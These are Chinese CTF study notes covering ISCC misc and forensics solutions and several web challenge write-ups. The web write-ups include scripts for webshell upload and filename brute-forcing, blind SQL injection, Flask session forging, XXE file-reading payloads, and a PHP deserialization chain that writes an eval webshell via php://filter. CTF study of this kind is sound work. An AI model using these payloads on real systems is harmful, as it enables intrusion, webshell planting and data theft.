ISCC复现

黑暗森林

通常bmp文件word bfreserved1和2值为0

400.PNG

但是这题给的图值存在

401.PNG

所以应该是需要根据这个bfReserved1 的值 找到值为1的图读取内容放在第一位

值为2的图读取内容放在第二位以此类推

跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
import pyzbar.pyzbar as pyzbar
from PIL import Image
from tqdm import tqdm
import base64

dir = os.listdir('./universe')
lists = ['']*100
for i in dir:
file = f'./universe/{i}'
img = Image.open(file)
texts = pyzbar.decode(img)
for text in texts:
place = open(file,'rb').read()[6]
lists[place-1] = text[0].decode()
out = ''.join(lists)
f = open('flag','wb').write(base64.b64decode(out.encode()))

生成文件

402.PNG

是个rar压缩包 文件有问题

broadcast.png 是apng格式的文件用网站分离一下

得到这样的

403.PNG

每张图都有数字应该是要把rar中对应字节的数据删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
table = [21,42,47,50,53,71,72,73,88,113,118,125,128,148,150,158,161,162,166,167,176,190,194,206,223,236,239,266,269,270,274,289,290,302,305,308,316,318,326,328,329,360,375,392,395,414,425,443,450,463,469,471,477,487,494,498,514,519,522,523,527,531,540,555,561,574,589,627,629,636,637,654,668,673,689,690,704,736,751,752,753,763,765,769,774,780,801,814,817,858,870,899,915,928,934,948,951,964,967,982]

f1 = open('flag.rar','rb').read()
f2 = open('outflag.rar','wb+')

tmp = f1[:1000] #数字最多982直接读取前1000
tmp = list(tmp)
tmp_list = []
for j in range(1000):
if(j not in table):#将索引不在表中的弄掉
tmp_list.append(tmp[j])
f2.write(bytearray(tmp_list))
f2.write(f1[1000:])

得到压缩包密码提示

404.PNG

bing搜一下

405.PNG

弱雪

从题目雪应该是有snow隐写但每个文档都没有snow隐写的感觉

看每个文件的时间不太对劲

406.PNG

407.PNG

408.PNG

没有时间为40的文件

410.PNG

411.PNG

写脚本大于40的作为0小于的作为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os

ss=''
path = './Misc-2022.05.05/'
n = 1936
for i in range(n):
file = f'{path}{i}.txt'
#print(file)
time = os.path.getmtime(file)
#time = os.path.getmtime(f'./Misc-2022.05.05/{i}')
if time <1651438000:
ss +='0'
else:
ss +='1'
print(ss)
print(len(ss))

412.PNG

解压缩得到

413.PNG

snow 隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
import os

with open("C:/Users/zazazazaz/Downloads/isccfuxian/1/password.txt", 'r') as f:
for passwd in f:
try:
with os.popen(f'C:/Users/zazazazaz/Downloads/isccfuxian/1/snow -C -p "{passwd.strip()}" "C:/Users/zazazazaz/Downloads/isccfuxian/1/snow.txt"') as aaa:
rst = aaa.read()
if rst.find("ISCC") >= 0 or rst.find("iscc") >= 0 or rst.find("flag") >= 0:
print(rst)
print(passwd)
except Exception as e:
...

巅峰极客easy_Forensic

压缩包 解压得到raw文件导入diskgenius

20221.PNG

奈何没有专业版只导出hint.txt和secret.zip

1
2
3
hint:
is _
not

压缩包要密码 用vol

vol.py -f secret.raw filescan –profile=Win7SP1x64 filescan >1.txt

把桌面的文件都导出来

1
2
3
4
5
6
7
0x000000007d80a7d0     16      0 R--r-- \Device\HarddiskVolume1\Users\Admin\Desktop\gift.jpg
0x000000007d84e350 14 0 R--rw- \Device\HarddiskVolume1\Users\Admin\Desktop\secret.zip
0x000000007dae0420 10 0 R--rw- \Device\HarddiskVolume1\Users\Admin\Desktop\wechat.txt
0x000000007de7c070 11 0 R--r-d \Device\HarddiskVolume1\Users\Admin\Desktop\MRCv120.exe
0x000000007dfa9150 9 0 R--r-d \Device\HarddiskVolume1\Users\Admin\Desktop\MRCC206.tmp
0x000000007f1e6ad0 1 1 -W-r-- \Device\HarddiskVolume1\Users\Admin\Desktop\111.raw
0x0000000072e8bf20 2 0 -W-rw- \Device\HarddiskVolume1\Users\Admin\Desktop\EULAaccepted.dat

有用的就jpg txt zip

1
gift.jpg: vol.py -f secret.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007d80a7d0 --dump-dir=./  

打开图片

20223.PNG

看着像有东西 改一下图片高度

20224.PNG

根据hint的内容空格应该是要换成下划线

1
password:Nothing_is_more_important_than_your_life!
1
解压缩得:A gift for You:  wHeMscYvTluyRvjf5d7AEX5K4VlZeU2IiGpKLFzek1Q=

WeChat.txt应该是微信的数据库文件

https://github.com/x1hy9/WeChatUserDB 网上找的脚本直接用把txt改成db

20225.PNG

压缩包内的内容就是key了 将文件放入WIN_WECHAT_DB文件夹中

1
main.py -d windows -k wHeMscYvTluyRvjf5d7AEX5K4VlZeU2IiGpKLFzek1Q=

DECRYPT_WIN_WECHAT_DB 找到解密后的文件用010打开直接搜flag

20226.PNG

web点2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}

}

think PHP 的框架 默认上传路径为

1
/home/index/upload
1
$_FILES[file]限制了不能是.php文件 

$upload->allowExts 并不是 Think\Upload 类的正确用法,所以 allowexts 后缀名限制是无效的。

thinkphp 的upload()函数不传参时是多文件上传整个$_FILE数组的文件都会上传保存

限制了上传后缀 也给出上传后的路径 上传多文件就能绕过.php限制

接下去是上传后的php文件名 :

1
'saveName'     => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 

uniqid生成文件名 同时上传txt和php因为文件名接近

构造包来爆破txt文件名后三位 0-9 a-f的文件名就能猜到php文件名

上传代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
'''方法一'''
url = 'http://22a640cb-bdce-4cb4-92c3-f23fc8cc1fec.node4.buuoj.cn:81/index.php/home/index/upload'
s = requests.Session()

file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)

'''爆破'''

dir ='abcdefghijklmnopqrstuvwxyz0123456789'

for i in dir:
for j in dir:
for k in dir:
for x in dir:
for y in dir:
url = 'http://22a640cb-bdce-4cb4-92c3-f23fc8cc1fec.node4.buuoj.cn:81/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
print(url)
r = requests.get(url)
if r.status_code == 200:
print(url)
break
'''
#方法2
url = "http://9b96c9f8-7b74-491a-94fd-f8063d1b8a29.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)
'''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#盲注脚本
import requests

flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1' #库名为news

#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1' #表名为admin,contents

#查字段
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'contents\')),{},1))>{})^1' #admin表里有id,username,password,is_enable
# contents表里有id,title,content,is_enable

#查字段值
payload4 = '1^(ascii(substr((select(group_concat(password))from(admin)),{},1))>{})^1'



for i in range(1,100):
low =28
high =137
mid = (low + high) // 2

while(low < high):
url = 'http://af7d1090-d916-4350-8828-1bfb62212ceb.node4.buuoj.cn:81/backend/content_detail.php?id='
payload = payload4.format(i,mid)
url+=payload
print(url)
r = requests.get(url)
text = str(r.json())

if "札师傅缺个女朋友" in text:
low = mid + 1
else:
high = mid

mid = (low + high) // 2

if(chr(mid)==''):
break
flag +=chr(mid)
print(flag)

print(flag)

[DDCTF 2019]homebrew event loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

一些可以进行的操作?action:

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:
\# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')

数量>=5flag会被写入session当中 问题在于如何绕过这个数量 需要调用自己循环来绕过

1
2
3
4
5
6
7
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

购买函数这是改变余额再判断是否合法 需要在调用buy_handler时同时传入get_flag

处理队列就变成余额的改变->get_flag->不合法 就能把flag写入session了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route(url_prefix+'/')#使用 route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数
def entry_point():
querystring = urllib.unquote(request.query_string)
#urllib.unquote :urlencode逆向,就是把%40转化为@(字符串被当作url提交时会被自动进行url编码处理,在python里也有个urllib.urlencode的方法,可以很方便的把字典形式的参数进行url编码)
#request.query_string:它得到的是,url中?后面所有的值,最为一个字符串,比如action:index;False#False
request.event_queue = [] #定义一个数组
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
#如果这个url?后面的值为空 或者 这个url?后面的值不是以action开头 或者 这个url?后面的值长度大于100
querystring = 'action:index;False#False'
if 'num_items' not in session: #如果session里面还没有num_items这个key
session['num_items'] = 0 #钻石数量
session['points'] = 3 #积分数量
session['log'] = []
request.prev_session = dict(session) #新建一个字典request.prev_session使其的值为字典session的值
trigger_event(querystring) #调用了trigger_event
return execute_event_loop() #进入到execute_event_loop函数

trigger_event将要执行的函数传入队列 但只执行一次 将trigger_event传入就能调用多个函数然后进入execute_event_loop进入循环

1
2
3
4
5
6
7
8
def trigger_event(event):
session['log'].append(event)#将event添加到session['log']这个列表中
if len(session['log']) > 5: #如果列表session['log']中的元素数量大于等于5
session['log'] = session['log'][-5:]#session['log']取后五个元素
if type(event) == type([]): #如果event的类型是列表
request.event_queue += event #两个列表相加,在列表request.event_queue中添加一个元素 event
else:
request.event_queue.append(event) #在列表request.event_queue中添加一个元素 even

execute_event_loop函数里面的代码

1
2
3
is_action = event[0] == 'a' 
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')

action的话直接返回下一个;之后的内容 用#进行分割并返回一个列表到arg里

这里有一个任意函数调用。action传入之后会有一个后缀拼接,但是可以直接用#绕过,因为是eval执行的,eval会把这个字符串当作python代码执行,所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:#当钻石数量大于等于5的时候
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())#调用这个函数,上面也说了这个函数会把形参传入session['log']列表中
trigger_event('action:view;index')
1
?action:trigger_enent#;action:buy;2#action:buy;#action:get_flag;#

session 解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

Flask路由方式,尝试local_file:///读取文件

app/app.py 可能可以读取到源码

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

随机数种子为uuidgetnode():函数用于获取Mac地址并将其转换为整数。

flask读取Mac地址local_file:///sys/class/net/eth0/address

155.542754368155.542754368

Flask-Session脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))


使用方法: encode /decode -s '随机数种子' -t “写入的内容”

create_function() 相当于eval

1
<?php $func =create_function('',$_POST['cmd']);$func();?>

php的create_function 会创建匿名函数 返回函数名称 (lambda_[0-999]) 不断访问 数字也会逐步增加 增加到最大长度就结束了通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了

不断访问的脚本:

1
2
3
4
5
6
7
import requests
while True:
r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')

也可以通过遍历数字来爆破得到生成的函数是多少

1
有create_function()的可以试试%00lambda_[]

如果direction设置为upload,首先判断是否正常上传,通过则在$dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256值,之后限制目录穿越,创建相应目录,把文件上传到目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
}


伪造session

php的session默认存储文件名是sess_+PHPSESSID的值,我们先看一下session文件内容。
查看cookie中PHPSESSID

5f3b3f5cc3de6d9f19bfd35f2614ec9d

1
usernames:5:"guest";

一个不可见字符

  1. 不同的引擎所对应的session的存储方式有

  2. php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

  3. php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

  4. php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("C:\PHPTutorial\PHPTutorial\WWW");
session_start();

$_SESSION['username'] = 'admin';


本地生成session文件 将文件名改为sess并计算sha256

1
<?phpecho hash_file('sha256', 'C:\PHPTutorial\PHPTutorial\WWW\sess')

拼接 sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 这就是文件名了

将sess文件上传,服务器储存该文件的文件名就应该是
sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

有json数据的地方可能存在xxe

用postman来传参 修改Content-Type为xml

1
2
Start tag expected, '<' not found, line 1, column 
意思应该是start标签没有找到第一行第一列,这意味着它需要某种XML数据

JSON数据修改为一个有效的XML字符串,

1
<?xml version="1.0" encoding="UTF-8"?>

这一行是 XML 文档定义,然后将整个数值包装在成为根节点的消息标记中

json:{“脑袋(随便起的名字)”:”data”} =>xml <脑袋> </脑袋>

也可以加载外部实体(有的支持)

1
<!ENTITY % remote-dtd SYSTEM "外部实体的地址">

尝试加载文件:

1
<!ENTITY % remote-dtd SYSTEM "/etc/passwd">

加载内部DTD 需要加载HC密码 并破解

1a.png

2a.png

Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。

输入错误的文件名 回显中文件名也和错误文件名一样 这是可以滥用的

读取了所需文件的内容,它可以是一个/flag,它也可以使/etc/password,然后我们可以尝试读取另一份文件,但是我们要确保第二个是个假文件名是我们刚刚读取第一份文件的内容,显然这会给我们一个错误,因为没有文件名作为第一个文件的内容,在错误中我们得到了文件的名称,我们尝试阅读那些意味着,我们也会取回第一个文件的内容,因此使用本地DTD,通过XXE读取任意文件,让我们尝试这个阶段

3a.png

最终数据:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

1
2
3
4
5
6
7
8
9
10
11
public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}

save功能的store用到了set set在b类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

​ if (is_null($expire)) {
​ $expire = $this->options['expire'];
​ }

​ $expire = $this->getExpireTime($expire);
​ $filename = $this->getCacheKey($name);

​ $dir = dirname($filename);

​ if (!is_dir($dir)) {
​ try {
​ mkdir($dir, 0755, true);
​ } catch (\Exception $e) {
​ // 创建失败
​ }
​ }

​ $data = $this->serialize($value);

​ if ($this->options['data_compress'] && function_exists('gzcompress')) {
​ //数据压缩
​ $data = gzcompress($data, 3);
​ }

​ $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
​ $result = file_put_contents($filename, $data);

​ if ($result) {
​ return $filename;
​ }

​ return null;
}

b类 set方法 将a类中的store在b类里实例化了

set方法 会将文件名随机 然后过滤了.php的后缀 类似于限制文件上传

date变量 然后有进行拼接 但是后面跟了exit() exit()推出当前脚本 用file_put_contents()将date写入

5a.png

绕过这个后缀检测 可以使用

1
2
3
key = /../aaa.php/.

因为在做路径处理的时候,会递归的删除掉路径中存在的 `/.`从而传入的东西是`./penson.php`,而传入之前,是 `/../penson.php/.`,通过目录穿越,让文件名固定,并且绕过.php后缀的检查

绕过exit()

6a.png

写马的话会拼接exit() 就可能不成功

7a.png

8a.png

9a.PNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A{
protected $store;
protected $key;
protected $expire;


public $cache =[];
public $complete = true;

public function __construct () {
$this->store = new B();
$this->key = '/../aaa.php/.';

$this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];

}

}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
];
}
$a = new A();
echo urlencode(serialize($a));

?>
1
连接密码是penson

web点1

1
php取反编码绕过 echo(~'内容')

检查文件长宽的getimagesize()函数绕过 这个用来获取图像大小及相关信息 成功就返回一个数组

1
2
3
4
5
6
7
8
9
10
11
getimagesize() 函数返回的数组:

Array
(
[0] => 290
[1] => 69
[2] => 3
[3] => width="290" height="69"
[bits] => 8
[mime] => image/png
)
  1. 索引 0 给出的是图像宽度的像素值
    索引 1 给出的是图像高度的像素值
    索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
    索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
    索引 bits 给出的是图像的每种颜色的位数,二进制格式
    索引 channels 给出的是图像的通道值,RGB 图像默认是 3
    索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header(“Content-type: image/jpeg”);
1
函数finfo_file()其主要是识别PNG文件十六进制下的第一行信息,若保留文件头信息,破坏掉文件长宽等其余信息,也就可以绕过getimagesize() 函数的检验使用Hex Fiend将图片其余数据删掉,只保留文件头:

上传svg格式文件 可进行神奇的操作变成xee漏洞
svg是xml的图片 存在可控内容

1
2
3
4
5
6
7
8
9
10
<?DOCTYPE html>
<html>
<body>

<svg height="100" width="100>
<text x="10" y="10">123</text>
</svg>

</body>
</html>

直接通过DTD外部实体声明

1
2
3
4
5
6
7
8
9
XML内容:
<?xml version="1.0"?>

<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>


不知道flag的路径,可以先用/proc/self/pwd/代表的是当前路径。可以构造/proc/self/pwd/flag.txt读取文件

最终构造的.svg 文件内容:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version='1.0'?>

<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
utf-8 转utf-16 绕过


1
$result = file_put_contents($filename, $data);  file_put_contents 这个支持php伪协议 可以将base64编码过的shell写入$data
1
public function cleanContents(array $contents)    {        $cachedProperties = array_flip([            'path', 'dirname', 'basename', 'extension', 'filename',            'size', 'mimetype', 'visibility', 'timestamp', 'type',        ]);        foreach ($contents as $path => $object) {            if (is_array($object)) {                $contents[$path] = array_intersect_key($object, $cachedProperties);            }        }            return $contents;    }
array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。

第一段是数组赋值,第二段数组遍历并将两个数组的交际赋给$contents[$path]
所以**$object的键选$cachedProperties中任意一个都行**,这里选择path。值就是我们的shell的base64编码,

1
也就是 $object=array("path"=>"<?php eval($_GET['a']);?>的base64(PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==)")
1
public function getCacheKey(string $name): string    {        return $this->options['prefix'] . $name;    }$filename = $this->getCacheKey($name);

getcachekey方法 prefix用于文件名构造

因为在后面写入文件的时候,前面拼接了一段别的php代码,而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。

1
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
1
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);

这段代码中的**$data全部用base64解码转化过后再写入文件中**,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。

1
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,

1
我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。

所以$b->options[‘prefix’]=’php://filter/write=convert.base64-decode/resource=./uploads/‘;已经可以确定了。

现在只需要控制写入内容

1
$date接收传参$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

payload:

1
<?phpclass A{    protected $store;    protected $key;    protected $expire;    public function __construct()    {        $this->key = 'pz.php';    }    public function start($tmp){        $this->store = $tmp;    }}class B{    public $options;}$a = new A();$b = new B();$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";$b->options['expire'] = 11;$b->options['data_compress'] = false;$b->options['serialize'] = 'strval';$a->start($b);$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2FhYSddKTs/Pg==");$path = '111';$a->cache = array($path=>$object);$a->complete = '2';echo urlencode(serialize($a));?>
1
php伪协议/user.php?page=php://filter/convert.base64-encode/resource=
1
parse_url解析漏洞:$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'],$query)

这种情况:

1
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

会解析错误返回false 就可以进行读取

1
$newfile = $path.$filename;echo "file upload success<br />";echo $filename;$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

通过文件名代码执行漏洞

1
